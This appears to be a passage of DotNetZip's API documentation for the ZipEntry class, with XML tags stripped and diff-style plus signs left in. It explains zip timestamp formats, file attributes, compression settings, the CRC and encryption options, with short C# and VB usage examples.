from a zip file, + or for writing and concurrently encrypting data to a zip file. + + + + The constructor. + The underlying stream + To either encrypt or decrypt. + The pre-initialized ZipCrypto object. + + + + Represents a single entry in a ZipFile. Typically, applications get a ZipEntry + by enumerating the entries within a ZipFile, or by adding an entry to a ZipFile. + + + + + True if the referenced entry is a directory. + + + + + Provides a human-readable string with information about the ZipEntry. + + + + + Reads one entry from the zip directory structure in the zip file. + + + + The zipfile for which a directory entry will be read. From this param, the + method gets the ReadStream and the expected text encoding + (ProvisionalAlternateEncoding) which is used if the entry is not marked + UTF-8. + + + + a list of previously seen entry names; used to prevent duplicates. + + + the entry read from the archive. + + + + Returns true if the passed-in value is a valid signature for a ZipDirEntry. + + the candidate 4-byte signature value. + true, if the signature is valid according to the PKWare spec. + + + + Default constructor. + + + Applications should never need to call this directly. It is exposed to + support COM Automation environments. + + + + + The time and date at which the file indicated by the ZipEntry was + last modified. + + + + + The DotNetZip library sets the LastModified value for an entry, equal to + the Last Modified time of the file in the filesystem. If an entry is + added from a stream, the library uses System.DateTime.Now for this + value, for the given entry. + + + + This property allows the application to retrieve and possibly set the + LastModified value on an entry, to an arbitrary value. values with a + setting of DateTimeKind.Unspecified are taken to be expressed as + DateTimeKind.Local. + + + + Be aware that because of the way PKWare's + Zip specification describes how times are stored in the zip file, + the full precision of the System.DateTime datatype is not stored + for the last modified time when saving zip files. For more information on + how times are formatted, see the PKZip specification. + + + + The actual last modified time of a file can be stored in multiple ways in + the zip file, and they are not mutually exclusive: + + + + + In the so-called "DOS" format, which has a 2-second precision. Values + are rounded to the nearest even second. For example, if the time on the + file is 12:34:43, then it will be stored as 12:34:44. This first value + is accessible via the LastModified property. This value is always + present in the metadata for each zip entry. In some cases the value is + invalid, or zero. + + + + In the so-called "Windows" or "NTFS" format, as an 8-byte integer + quantity expressed as the number of 1/10 milliseconds (in other words + the number of 100 nanosecond units) since January 1, 1601 (UTC). This + format is how Windows represents file times. This time is accessible + via the ModifiedTime property. + + + + In the "Unix" format, a 4-byte quantity specifying the number of seconds since + January 1, 1970 UTC. + + + + In an older format, now deprecated but still used by some current + tools. This format is also a 4-byte quantity specifying the number of + seconds since January 1, 1970 UTC. + + + + + + Zip tools and libraries will always at least handle (read or write) the + DOS time, and may also handle the other time formats. Keep in mind that + while the names refer to particular operating systems, there is nothing in + the time formats themselves that prevents their use on other operating + systems. + + + + When reading ZIP files, the DotNetZip library reads the Windows-formatted + time, if it is stored in the entry, and sets both LastModified and + ModifiedTime to that value. When writing ZIP files, the DotNetZip + library by default will write both time quantities. It can also emit the + Unix-formatted time if desired (See .) + + + + The last modified time of the file created upon a call to + ZipEntry.Extract() may be adjusted during extraction to compensate + for differences in how the .NET Base Class Library deals with daylight + saving time (DST) versus how the Windows filesystem deals with daylight + saving time. Raymond Chen provides + some good context. + + + + In a nutshell: Daylight savings time rules change regularly. In 2007, for + example, the inception week of DST changed. In 1977, DST was in place all + year round. In 1945, likewise. And so on. Win32 does not attempt to + guess which time zone rules were in effect at the time in question. It + will render a time as "standard time" and allow the app to change to DST + as necessary. .NET makes a different choice. + + + + Compare the output of FileInfo.LastWriteTime.ToString("f") with what you + see in the Windows Explorer property sheet for a file that was last + written to on the other side of the DST transition. For example, suppose + the file was last modified on October 17, 2003, during DST but DST is not + currently in effect. Explorer's file properties reports Thursday, October + 17, 2003, 8:45:38 AM, but .NETs FileInfo reports Thursday, October 17, + 2003, 9:45 AM. + + + + Win32 says, "Thursday, October 17, 2002 8:45:38 AM PST". Note: Pacific + STANDARD Time. Even though October 17 of that year occurred during Pacific + Daylight Time, Win32 displays the time as standard time because that's + what time it is NOW. + + + + .NET BCL assumes that the current DST rules were in place at the time in + question. So, .NET says, "Well, if the rules in effect now were also in + effect on October 17, 2003, then that would be daylight time" so it + displays "Thursday, October 17, 2003, 9:45 AM PDT" - daylight time. + + + + So .NET gives a value which is more intuitively correct, but is also + potentially incorrect, and which is not invertible. Win32 gives a value + which is intuitively incorrect, but is strictly correct. + + + + Because of this funkiness, this library adds one hour to the LastModified + time on the extracted file, if necessary. That is to say, if the time in + question had occurred in what the .NET Base Class Library assumed to be + DST. This assumption may be wrong given the constantly changing DST rules, + but it is the best we can do. + + + + + + + + Ability to set Last Modified DOS time to zero + (for using with EmitTimesInWindowsFormatWhenSaving+EmitTimesInUnixFormatWhenSaving setted to false) + some flasher hardware use as marker of first binary + + + + + Last Modified time for the file represented by the entry. + + + + + + This value corresponds to the "last modified" time in the NTFS file times + as described in the Zip + specification. When getting this property, the value may be + different from . When setting the property, + the property also gets set, but with a lower + precision. + + + + Let me explain. It's going to take a while, so get + comfortable. Originally, waaaaay back in 1989 when the ZIP specification + was originally described by the esteemed Mr. Phil Katz, the dominant + operating system of the time was MS-DOS. MSDOS stored file times with a + 2-second precision, because, c'mon, who is ever going to need better + resolution than THAT? And so ZIP files, regardless of the platform on + which the zip file was created, store file times in exactly the same format that DOS used + in 1989. + + + + Since then, the ZIP spec has evolved, but the internal format for file + timestamps remains the same. Despite the fact that the way times are + stored in a zip file is rooted in DOS heritage, any program on any + operating system can format a time in this way, and most zip tools and + libraries DO - they round file times to the nearest even second and store + it just like DOS did 25+ years ago. + + + + PKWare extended the ZIP specification to allow a zip file to store what + are called "NTFS Times" and "Unix(tm) times" for a file. These are the + last write, last access, and file creation + times of a particular file. These metadata are not actually specific + to NTFS or Unix. They are tracked for each file by NTFS and by various + Unix filesystems, but they are also tracked by other filesystems, too. + The key point is that the times are formatted in the zip file + in the same way that NTFS formats the time (ticks since win32 epoch), + or in the same way that Unix formats the time (seconds since Unix + epoch). As with the DOS time, any tool or library running on any + operating system is capable of formatting a time in one of these ways + and embedding it into the zip file. + + + + These extended times are higher precision quantities than the DOS time. + As described above, the (DOS) LastModified has a precision of 2 seconds. + The Unix time is stored with a precision of 1 second. The NTFS time is + stored with a precision of 0.0000001 seconds. The quantities are easily + convertible, except for the loss of precision you may incur. + + + + A zip archive can store the {C,A,M} times in NTFS format, in Unix format, + or not at all. Often a tool running on Unix or Mac will embed the times + in Unix format (1 second precision), while WinZip running on Windows might + embed the times in NTFS format (precision of of 0.0000001 seconds). When + reading a zip file with these "extended" times, in either format, + DotNetZip represents the values with the + ModifiedTime, AccessedTime and CreationTime + properties on the ZipEntry. + + + + While any zip application or library, regardless of the platform it + runs on, could use any of the time formats allowed by the ZIP + specification, not all zip tools or libraries do support all these + formats. Storing the higher-precision times for each entry is + optional for zip files, and many tools and libraries don't use the + higher precision quantities at all. The old DOS time, represented by + , is guaranteed to be present, though it + sometimes unset. + + + + Ok, getting back to the question about how the LastModified + property relates to this ModifiedTime + property... LastModified is always set, while + ModifiedTime is not. (The other times stored in the NTFS + times extension, CreationTime and AccessedTime also + may not be set on an entry that is read from an existing zip file.) + When reading a zip file, then LastModified takes the DOS time + that is stored with the file. If the DOS time has been stored as zero + in the zipfile, then this library will use DateTime.Now for the + LastModified value. If the ZIP file was created by an evolved + tool, then there will also be higher precision NTFS or Unix times in + the zip file. In that case, this library will read those times, and + set LastModified and ModifiedTime to the same value, the + one corresponding to the last write time of the file. If there are no + higher precision times stored for the entry, then ModifiedTime + remains unset (likewise AccessedTime and CreationTime), + and LastModified keeps its DOS time. + + + + When creating zip files with this library, by default the extended time + properties (ModifiedTime, AccessedTime, and + CreationTime) are set on the ZipEntry instance, and these data are + stored in the zip archive for each entry, in NTFS format. If you add an + entry from an actual filesystem file, then the entry gets the actual file + times for that file, to NTFS-level precision. If you add an entry from a + stream, or a string, then the times get the value DateTime.Now. In + this case LastModified and ModifiedTime will be identical, + to 2 seconds of precision. You can explicitly set the + CreationTime, AccessedTime, and ModifiedTime of an + entry using the property setters. If you want to set all of those + quantities, it's more efficient to use the method. Those + changes are not made permanent in the zip file until you call or one of its cousins. + + + + When creating a zip file, you can override the default behavior of + this library for formatting times in the zip file, disabling the + embedding of file times in NTFS format or enabling the storage of file + times in Unix format, or both. You may want to do this, for example, + when creating a zip file on Windows, that will be consumed on a Mac, + by an application that is not hip to the "NTFS times" format. To do + this, use the and + properties. A valid zip + file may store the file times in both formats. But, there are no + guarantees that a program running on Mac or Linux will gracefully + handle the NTFS-formatted times when Unix times are present, or that a + non-DotNetZip-powered application running on Windows will be able to + handle file times in Unix format. DotNetZip will always do something + reasonable; other libraries or tools may not. When in doubt, test. + + + + I'll bet you didn't think one person could type so much about time, eh? + And reading it was so enjoyable, too! Well, in appreciation, maybe you + should donate? + + + + + + + + + + + Last Access time for the file represented by the entry. + + + This value may or may not be meaningful. If the ZipEntry was read from an existing + Zip archive, this information may not be available. For an explanation of why, see + . + + + + + + + + The file creation time for the file represented by the entry. + + + + This value may or may not be meaningful. If the ZipEntry was read + from an existing zip archive, and the creation time was not set on the entry + when the zip file was created, then this property may be meaningless. For an + explanation of why, see . + + + + + + + + Sets the NTFS Creation, Access, and Modified times for the given entry. + + + + + When adding an entry from a file or directory, the Creation, Access, and + Modified times for the given entry are automatically set from the + filesystem values. When adding an entry from a stream or string, the + values are implicitly set to DateTime.Now. The application may wish to + set these values to some arbitrary value, before saving the archive, and + can do so using the various setters. If you want to set all of the times, + this method is more efficient. + + + + The values you set here will be retrievable with the , and properties. + + + + When this method is called, if both and are false, then the + EmitTimesInWindowsFormatWhenSaving flag is automatically set. + + + + DateTime values provided here without a DateTimeKind are assumed to be Local Time. + + + + the creation time of the entry. + the last access time of the entry. + the last modified time of the entry. + + + + + + + + + + Specifies whether the Creation, Access, and Modified times for the given + entry will be emitted in "Windows format" when the zip archive is saved. + + + + + An application creating a zip archive can use this flag to explicitly + specify that the file times for the entry should or should not be stored + in the zip archive in the format used by Windows. The default value of + this property is true. + + + + When adding an entry from a file or directory, the Creation (), Access (), and Modified + () times for the given entry are automatically + set from the filesystem values. When adding an entry from a stream or + string, all three values are implicitly set to DateTime.Now. Applications + can also explicitly set those times by calling . + + + + PKWARE's + zip specification describes multiple ways to format these times in a + zip file. One is the format Windows applications normally use: 100ns ticks + since Jan 1, 1601 UTC. The other is a format Unix applications typically + use: seconds since January 1, 1970 UTC. Each format can be stored in an + "extra field" in the zip entry when saving the zip archive. The former + uses an extra field with a Header Id of 0x000A, while the latter uses a + header ID of 0x5455. + + + + Not all zip tools and libraries can interpret these fields. Windows + compressed folders is one that can read the Windows Format timestamps, + while I believe the Infozip + tools can read the Unix format timestamps. Although the time values are + easily convertible, subject to a loss of precision, some tools and + libraries may be able to read only one or the other. DotNetZip can read or + write times in either or both formats. + + + + The times stored are taken from , , and . + + + + This property is not mutually exclusive from the property. It is + possible that a zip entry can embed the timestamps in both forms, one + form, or neither. But, there are no guarantees that a program running on + Mac or Linux will gracefully handle NTFS Formatted times, or that a + non-DotNetZip-powered application running on Windows will be able to + handle file times in Unix format. When in doubt, test. + + + + Normally you will use the ZipFile.EmitTimesInWindowsFormatWhenSaving + property, to specify the behavior for all entries in a zip, rather than + the property on each individual entry. + + + + + + + + + + + + + Specifies whether the Creation, Access, and Modified times for the given + entry will be emitted in "Unix(tm) format" when the zip archive is saved. + + + + + An application creating a zip archive can use this flag to explicitly + specify that the file times for the entry should or should not be stored + in the zip archive in the format used by Unix. By default this flag is + false, meaning the Unix-format times are not stored in the zip + archive. + + + + When adding an entry from a file or directory, the Creation (), Access (), and Modified + () times for the given entry are automatically + set from the filesystem values. When adding an entry from a stream or + string, all three values are implicitly set to DateTime.Now. Applications + can also explicitly set those times by calling . + + + + PKWARE's + zip specification describes multiple ways to format these times in a + zip file. One is the format Windows applications normally use: 100ns ticks + since Jan 1, 1601 UTC. The other is a format Unix applications typically + use: seconds since Jan 1, 1970 UTC. Each format can be stored in an + "extra field" in the zip entry when saving the zip archive. The former + uses an extra field with a Header Id of 0x000A, while the latter uses a + header ID of 0x5455. + + + + Not all tools and libraries can interpret these fields. Windows + compressed folders is one that can read the Windows Format timestamps, + while I believe the Infozip + tools can read the Unix format timestamps. Although the time values are + easily convertible, subject to a loss of precision, some tools and + libraries may be able to read only one or the other. DotNetZip can read or + write times in either or both formats. + + + + The times stored are taken from , , and . + + + + This property is not mutually exclusive from the property. It is + possible that a zip entry can embed the timestamps in both forms, one + form, or neither. But, there are no guarantees that a program running on + Mac or Linux will gracefully handle NTFS Formatted times, or that a + non-DotNetZip-powered application running on Windows will be able to + handle file times in Unix format. When in doubt, test. + + + + Normally you will use the ZipFile.EmitTimesInUnixFormatWhenSaving + property, to specify the behavior for all entries, rather than the + property on each individual entry. + + + + + + + + + + + + + The type of timestamp attached to the ZipEntry. + + + + This property is valid only for a ZipEntry that was read from a zip archive. + It indicates the type of timestamp attached to the entry. + + + + + + + + The file attributes for the entry. + + + + + + The attributes in NTFS include + ReadOnly, Archive, Hidden, System, and Indexed. When adding a + ZipEntry to a ZipFile, these attributes are set implicitly when + adding an entry from the filesystem. When adding an entry from a stream + or string, the Attributes are not set implicitly. Regardless of the way + an entry was added to a ZipFile, you can set the attributes + explicitly if you like. + + + + When reading a ZipEntry from a ZipFile, the attributes are + set according to the data stored in the ZipFile. If you extract the + entry from the archive to a filesystem file, DotNetZip will set the + attributes on the resulting file accordingly. + + + + The attributes can be set explicitly by the application. For example the + application may wish to set the FileAttributes.ReadOnly bit for all + entries added to an archive, so that on unpack, this attribute will be set + on the extracted file. Any changes you make to this property are made + permanent only when you call a Save() method on the ZipFile + instance that contains the ZipEntry. + + + + For example, an application may wish to zip up a directory and set the + ReadOnly bit on every file in the archive, so that upon later extraction, + the resulting files will be marked as ReadOnly. Not every extraction tool + respects these attributes, but if you unpack with DotNetZip, as for + example in a self-extracting archive, then the attributes will be set as + they are stored in the ZipFile. + + + + These attributes may not be interesting or useful if the resulting archive + is extracted on a non-Windows platform. How these attributes get used + upon extraction depends on the platform and tool used. + + + + + + + The name of the filesystem file, referred to by the ZipEntry. + + + + + This property specifies the thing-to-be-zipped on disk, and is set only + when the ZipEntry is being created from a filesystem file. If the + ZipFile is instantiated by reading an existing .zip archive, then + the LocalFileName will be null (Nothing in VB). + + + + When it is set, the value of this property may be different than , which is the path used in the archive itself. If you + call Zip.AddFile("foop.txt", AlternativeDirectory), then the path + used for the ZipEntry within the zip archive will be different + than this path. + + + + If the entry is being added from a stream, then this is null (Nothing in VB). + + + + + + + + The name of the file contained in the ZipEntry. + + + + + + This is the name of the entry in the ZipFile itself. When creating + a zip archive, if the ZipEntry has been created from a filesystem + file, via a call to or , or a related overload, the value + of this property is derived from the name of that file. The + FileName property does not include drive letters, and may include a + different directory path, depending on the value of the + directoryPathInArchive parameter used when adding the entry into + the ZipFile. + + + + In some cases there is no related filesystem file - for example when a + ZipEntry is created using or one of the similar overloads. In this case, the value of + this property is derived from the fileName and the directory path passed + to that method. + + + + When reading a zip file, this property takes the value of the entry name + as stored in the zip file. If you extract such an entry, the extracted + file will take the name given by this property. + + + + Applications can set this property when creating new zip archives or when + reading existing archives. When setting this property, the actual value + that is set will replace backslashes with forward slashes, in accordance + with the Zip + specification, for compatibility with Unix(tm) and ... get + this.... Amiga! + + + + If an application reads a ZipFile via or a related overload, and then explicitly + sets the FileName on an entry contained within the ZipFile, and + then calls , the application will effectively + rename the entry within the zip archive. + + + + If an application sets the value of FileName, then calls + Extract() on the entry, the entry is extracted to a file using the + newly set value as the filename. The FileName value is made + permanent in the zip archive only after a call to one of the + ZipFile.Save() methods on the ZipFile that contains the + ZipEntry. + + + + If an application attempts to set the FileName to a value that + would result in a duplicate entry in the ZipFile, an exception is + thrown. + + + + When a ZipEntry is contained within a ZipFile, applications + cannot rename the entry within the context of a foreach (For + Each in VB) loop, because of the way the ZipFile stores + entries. If you need to enumerate through all the entries and rename one + or more of them, use ZipFile.EntriesSorted as the + collection. See also, ZipFile.GetEnumerator(). + + + + + + + The stream that provides content for the ZipEntry. + + + + + + The application can use this property to set the input stream for an + entry on a just-in-time basis. Imagine a scenario where the application + creates a ZipFile comprised of content obtained from hundreds of + files, via calls to AddFile(). The DotNetZip library opens streams + on these files on a just-in-time basis, only when writing the entry out to + an external store within the scope of a ZipFile.Save() call. Only + one input stream is opened at a time, as each entry is being written out. + + + + Now imagine a different application that creates a ZipFile + with content obtained from hundreds of streams, added through . Normally the + application would supply an open stream to that call. But when large + numbers of streams are being added, this can mean many open streams at one + time, unnecessarily. + + + + To avoid this, call and specify delegates that open and close the stream at + the time of Save. + + + + + Setting the value of this property when the entry was not added from a + stream (for example, when the ZipEntry was added with or , or when the entry was added by + reading an existing zip archive) will throw an exception. + + + + + + + + A flag indicating whether the InputStream was provided Just-in-time. + + + + + + When creating a zip archive, an application can obtain content for one or + more of the ZipEntry instances from streams, using the method. At the time + of calling that method, the application can supply null as the value of + the stream parameter. By doing so, the application indicates to the + library that it will provide a stream for the entry on a just-in-time + basis, at the time one of the ZipFile.Save() methods is called and + the data for the various entries are being compressed and written out. + + + + In this case, the application can set the + property, typically within the SaveProgress event (event type: ) for that entry. + + + + The application will later want to call Close() and Dispose() on that + stream. In the SaveProgress event, when the event type is , the application can + do so. This flag indicates that the stream has been provided by the + application on a just-in-time basis and that it is the application's + responsibility to call Close/Dispose on that stream. + + + + + + + + An enum indicating the source of the ZipEntry. + + + + + The version of the zip engine needed to read the ZipEntry. + + + + + This is a readonly property, indicating the version of the Zip + specification that the extracting tool or library must support to + extract the given entry. Generally higher versions indicate newer + features. Older zip engines obviously won't know about new features, and + won't be able to extract entries that depend on those newer features. + + + + + value + Features + + + + 20 + a basic Zip Entry, potentially using PKZIP encryption. + + + + + 45 + The ZIP64 extension is used on the entry. + + + + + 46 + File is compressed using BZIP2 compression* + + + + 50 + File is encrypted using PkWare's DES, 3DES, (broken) RC2 or RC4 + + + + 51 + File is encrypted using PKWare's AES encryption or corrected RC2 encryption. + + + + 52 + File is encrypted using corrected RC2-64 encryption** + + + + 61 + File is encrypted using non-OAEP key wrapping*** + + + + 63 + File is compressed using LZMA, PPMd+, Blowfish, or Twofish + + + + + + There are other values possible, not listed here. DotNetZip supports + regular PKZip encryption, and ZIP64 extensions. DotNetZip cannot extract + entries that require a zip engine higher than 45. + + + + This value is set upon reading an existing zip file, or after saving a zip + archive. + + + + + + The comment attached to the ZipEntry. + + + + + Each entry in a zip file can optionally have a comment associated to + it. The comment might be displayed by a zip tool during extraction, for + example. + + + + By default, the Comment is encoded in IBM437 code page. You can + specify an alternative with and + . + + + + + + + + Indicates whether the entry requires ZIP64 extensions. + + + + + + This property is null (Nothing in VB) until a Save() method on the + containing instance has been called. The property is + non-null (HasValue is true) only after a Save() method has + been called. + + + + After the containing ZipFile has been saved, the Value of this + property is true if any of the following three conditions holds: the + uncompressed size of the entry is larger than 0xFFFFFFFF; the compressed + size of the entry is larger than 0xFFFFFFFF; the relative offset of the + entry within the zip archive is larger than 0xFFFFFFFF. These quantities + are not known until a Save() is attempted on the zip archive and + the compression is applied. + + + + If none of the three conditions holds, then the Value is false. + + + + A Value of false does not indicate that the entry, as saved in the + zip archive, does not use ZIP64. It merely indicates that ZIP64 is + not required. An entry may use ZIP64 even when not required if + the property on the containing + ZipFile instance is set to , or if + the property on the containing + ZipFile instance is set to + and the output stream was not seekable. + + + + + + + + Indicates whether the entry actually used ZIP64 extensions, as it was most + recently written to the output file or stream. + + + + + + This Nullable property is null (Nothing in VB) until a Save() + method on the containing instance has been + called. HasValue is true only after a Save() method has been + called. + + + + The value of this property for a particular ZipEntry may change + over successive calls to Save() methods on the containing ZipFile, + even if the file that corresponds to the ZipEntry does not. This + may happen if other entries contained in the ZipFile expand, + causing the offset for this particular entry to exceed 0xFFFFFFFF. + + + + + + + The bitfield for the entry as defined in the zip spec. You probably + never need to look at this. + + + + + You probably do not need to concern yourself with the contents of this + property, but in case you do: + + + + + bit + meaning + + + + 0 + set if encryption is used. + + + + 1-2 + + set to determine whether normal, max, fast deflation. DotNetZip library + always leaves these bits unset when writing (indicating "normal" + deflation"), but can read an entry with any value here. + + + + + 3 + + Indicates that the Crc32, Compressed and Uncompressed sizes are zero in the + local header. This bit gets set on an entry during writing a zip file, when + it is saved to a non-seekable output stream. + + + + + + 4 + reserved for "enhanced deflating". This library doesn't do enhanced deflating. + + + + 5 + set to indicate the zip is compressed patched data. This library doesn't do that. + + + + 6 + + set if PKWare's strong encryption is used (must also set bit 1 if bit 6 is + set). This bit is not set if WinZip's AES encryption is set. + + + + 7 + not used + + + + 8 + not used + + + + 9 + not used + + + + 10 + not used + + + + 11 + + Language encoding flag (EFS). If this bit is set, the filename and comment + fields for this file must be encoded using UTF-8. This library currently + does not support UTF-8. + + + + + 12 + Reserved by PKWARE for enhanced compression. + + + + 13 + + Used when encrypting the Central Directory to indicate selected data + values in the Local Header are masked to hide their actual values. See + the section in the Zip + specification describing the Strong Encryption Specification for + details. + + + + + 14 + Reserved by PKWARE. + + + + 15 + Reserved by PKWARE. + + + + + + + + + The compression method employed for this ZipEntry. + + + + + + The + Zip specification allows a variety of compression methods. This + library supports just two: 0x08 = Deflate. 0x00 = Store (no compression), + for reading or writing. + + + + When reading an entry from an existing zipfile, the value you retrieve + here indicates the compression method used on the entry by the original + creator of the zip. When writing a zipfile, you can specify either 0x08 + (Deflate) or 0x00 (None). If you try setting something else, you will get + an exception. + + + + You may wish to set CompressionMethod to CompressionMethod.None (0) + when zipping already-compressed data like a jpg, png, or mp3 file. + This can save time and cpu cycles. + + + + When setting this property on a ZipEntry that is read from an + existing zip file, calling ZipFile.Save() will cause the new + CompressionMethod to be used on the entry in the newly saved zip file. + + + + Setting this property may have the side effect of modifying the + CompressionLevel property. If you set the CompressionMethod to a + value other than None, and CompressionLevel is previously + set to None, then CompressionLevel will be set to + Default. + + + + + + + In this example, the first entry added to the zip archive uses the default + behavior - compression is used where it makes sense. The second entry, + the MP3 file, is added to the archive without being compressed. + + using (ZipFile zip = new ZipFile(ZipFileToCreate)) + { + ZipEntry e1= zip.AddFile(@"notes\Readme.txt"); + ZipEntry e2= zip.AddFile(@"music\StopThisTrain.mp3"); + e2.CompressionMethod = CompressionMethod.None; + zip.Save(); + } + + + + Using zip As New ZipFile(ZipFileToCreate) + zip.AddFile("notes\Readme.txt") + Dim e2 as ZipEntry = zip.AddFile("music\StopThisTrain.mp3") + e2.CompressionMethod = CompressionMethod.None + zip.Save + End Using + + + + + + Sets the compression level to be used for the entry when saving the zip + archive. This applies only for CompressionMethod = DEFLATE. + + + + + When using the DEFLATE compression method, Varying the compression + level used on entries can affect the size-vs-speed tradeoff when + compression and decompressing data streams or files. + + + + If you do not set this property, the default compression level is used, + which normally gives a good balance of compression efficiency and + compression speed. In some tests, using BestCompression can + double the time it takes to compress, while delivering just a small + increase in compression efficiency. This behavior will vary with the + type of data you compress. If you are in doubt, just leave this setting + alone, and accept the default. + + + + When setting this property on a ZipEntry that is read from an + existing zip file, calling ZipFile.Save() will cause the new + CompressionLevel to be used on the entry in the newly saved zip file. + + + + Setting this property may have the side effect of modifying the + CompressionMethod property. If you set the CompressionLevel + to a value other than None, CompressionMethod will be set + to Deflate, if it was previously None. + + + + Setting this property has no effect if the CompressionMethod is something + other than Deflate or None. + + + + + + + + The compressed size of the file, in bytes, within the zip archive. + + + + When reading a ZipFile, this value is read in from the existing + zip file. When creating or updating a ZipFile, the compressed + size is computed during compression. Therefore the value on a + ZipEntry is valid after a call to Save() (or one of its + overloads) in that case. + + + + + + + The size of the file, in bytes, before compression, or after extraction. + + + + When reading a ZipFile, this value is read in from the existing + zip file. When creating or updating a ZipFile, the uncompressed + size is computed during compression. Therefore the value on a + ZipEntry is valid after a call to Save() (or one of its + overloads) in that case. + + + + + + + The ratio of compressed size to uncompressed size of the ZipEntry. + + + + + This is a ratio of the compressed size to the uncompressed size of the + entry, expressed as a double in the range of 0 to 100+. A value of 100 + indicates no compression at all. It could be higher than 100 when the + compression algorithm actually inflates the data, as may occur for small + files, or uncompressible data that is encrypted. + + + + You could format it for presentation to a user via a format string of + "{3,5:F0}%" to see it as a percentage. + + + + If the size of the original uncompressed file is 0, implying a + denominator of 0, the return value will be zero. + + + + This property is valid after reading in an existing zip file, or after + saving the ZipFile that contains the ZipEntry. You cannot know the + effect of a compression transform until you try it. + + + + + + + The 32-bit CRC (Cyclic Redundancy Check) on the contents of the ZipEntry. + + + + + You probably don't need to concern yourself with this. It is used + internally by DotNetZip to verify files or streams upon extraction. + + The value is a 32-bit + CRC using 0xEDB88320 for the polynomial. This is the same CRC-32 used in + PNG, MPEG-2, and other protocols and formats. It is a read-only property; when + creating a Zip archive, the CRC for each entry is set only after a call to + Save() on the containing ZipFile. When reading an existing zip file, the value + of this property reflects the stored CRC for the entry. + + + + + + True if the entry is a directory (not a file). + This is a readonly property on the entry. + + + + + A derived property that is true if the entry uses encryption. + + + + + This is a readonly property on the entry. When reading a zip file, + the value for the ZipEntry is determined by the data read + from the zip file. After saving a ZipFile, the value of this + property for each ZipEntry indicates whether encryption was + actually used (which will have been true if the was set and the property + was something other than . + + + + + + Set this to specify which encryption algorithm to use for the entry when + saving it to a zip archive. + + + + + + Set this property in order to encrypt the entry when the ZipFile is + saved. When setting this property, you must also set a on the entry. If you set a value other than on this property and do not set a + Password then the entry will not be encrypted. The ZipEntry + data is encrypted as the ZipFile is saved, when you call or one of its cousins on the containing + ZipFile instance. You do not need to specify the Encryption + when extracting entries from an archive. + + + + The Zip specification from PKWare defines a set of encryption algorithms, + and the data formats for the zip archive that support them, and PKWare + supports those algorithms in the tools it produces. Other vendors of tools + and libraries, such as WinZip or Xceed, typically support a + subset of the algorithms specified by PKWare. These tools can + sometimes support additional different encryption algorithms and data + formats, not specified by PKWare. The AES Encryption specified and + supported by WinZip is the most popular example. This library supports a + subset of the complete set of algorithms specified by PKWare and other + vendors. + + + + There is no common, ubiquitous multi-vendor standard for strong encryption + within zip files. There is broad support for so-called "traditional" Zip + encryption, sometimes called Zip 2.0 encryption, as specified + by PKWare, but this encryption is considered weak and + breakable. This library currently supports the Zip 2.0 "weak" encryption, + and also a stronger WinZip-compatible AES encryption, using either 128-bit + or 256-bit key strength. If you want DotNetZip to support an algorithm + that is not currently supported, call the author of this library and maybe + we can talk business. + + + + The class also has a property. In most cases you will use + that property when setting encryption. This property takes + precedence over any Encryption set on the ZipFile itself. + Typically, you would use the per-entry Encryption when most entries in the + zip archive use one encryption algorithm, and a few entries use a + different one. If all entries in the zip file use the same Encryption, + then it is simpler to just set this property on the ZipFile itself, when + creating a zip archive. + + + + Some comments on updating archives: If you read a ZipFile, you can + modify the Encryption on an encrypted entry: you can remove encryption + from an entry that was encrypted; you can encrypt an entry that was not + encrypted previously; or, you can change the encryption algorithm. The + changes in encryption are not made permanent until you call Save() on the + ZipFile. To effect changes in encryption, the entry content is + streamed through several transformations, depending on the modification + the application has requested. For example if the entry is not encrypted + and the application sets Encryption to PkzipWeak, then at + the time of Save(), the original entry is read and decompressed, + then re-compressed and encrypted. Conversely, if the original entry is + encrypted with PkzipWeak encryption, and the application sets the + Encryption property to WinZipAes128, then at the time of + Save(), the original entry is decrypted via PKZIP encryption and + decompressed, then re-compressed and re-encrypted with AES. This all + happens automatically within the library, but it can be time-consuming for + large entries. + + + + Additionally, when updating archives, it is not possible to change the + password when changing the encryption algorithm. To change both the + algorithm and the password, you need to Save() the zipfile twice. First + set the Encryption to None, then call Save(). Then set the + Encryption to the new value (not "None"), then call Save() + once again. + + + + The WinZip AES encryption algorithms are not supported on the .NET Compact + Framework. + + + + + + This example creates a zip archive that uses encryption, and then extracts + entries from the archive. When creating the zip archive, the ReadMe.txt + file is zipped without using a password or encryption. The other file + uses encryption. + + + // Create a zip archive with AES Encryption. + using (ZipFile zip = new ZipFile()) + { + zip.AddFile("ReadMe.txt") + ZipEntry e1= zip.AddFile("2008-Regional-Sales-Report.pdf"); + e1.Encryption= EncryptionAlgorithm.WinZipAes256; + e1.Password= "Top.Secret.No.Peeking!"; + zip.Save("EncryptedArchive.zip"); + } + + // Extract a zip archive that uses AES Encryption. + // You do not need to specify the algorithm during extraction. + using (ZipFile zip = ZipFile.Read("EncryptedArchive.zip")) + { + // Specify the password that is used during extraction, for + // all entries that require a password: + zip.Password= "Top.Secret.No.Peeking!"; + zip.ExtractAll("extractDirectory"); + } + + + + ' Create a zip that uses Encryption. + Using zip As New ZipFile() + zip.AddFile("ReadMe.txt") + Dim e1 as ZipEntry + e1= zip.AddFile("2008-Regional-Sales-Report.pdf") + e1.Encryption= EncryptionAlgorithm.WinZipAes256 + e1.Password= "Top.Secret.No.Peeking!" + zip.Save("EncryptedArchive.zip") + End Using + + ' Extract a zip archive that uses AES Encryption. + ' You do not need to specify the algorithm during extraction. + Using (zip as ZipFile = ZipFile.Read("EncryptedArchive.zip")) + ' Specify the password that is used during extraction, for + ' all entries that require a password: + zip.Password= "Top.Secret.No.Peeking!" + zip.ExtractAll("extractDirectory") + End Using + + + + + + Thrown in the setter if EncryptionAlgorithm.Unsupported is specified. + + + ZipEntry.Password + ZipFile.Encryption + + + + The Password to be used when encrypting a ZipEntry upon + ZipFile.Save(), or when decrypting an entry upon Extract(). + + + + + This is a write-only property on the entry. Set this to request that the + entry be encrypted when writing the zip archive, or set it to specify the + password to be used when extracting an existing entry that is encrypted. + + + + The password set here is implicitly used to encrypt the entry during the + operation, or to decrypt during the or operation. If you set + the Password on a ZipEntry after calling Save(), there is no + effect. + + + + Consider setting the property when using a + password. Answering concerns that the standard password protection + supported by all zip tools is weak, WinZip has extended the ZIP + specification with a way to use AES Encryption to protect entries in the + Zip file. Unlike the "PKZIP 2.0" encryption specified in the PKZIP + specification, AES + Encryption uses a standard, strong, tested, encryption + algorithm. DotNetZip can create zip archives that use WinZip-compatible + AES encryption, if you set the property. But, + archives created that use AES encryption may not be readable by all other + tools and libraries. For example, Windows Explorer cannot read a + "compressed folder" (a zip file) that uses AES encryption, though it can + read a zip file that uses "PKZIP encryption." + + + + The 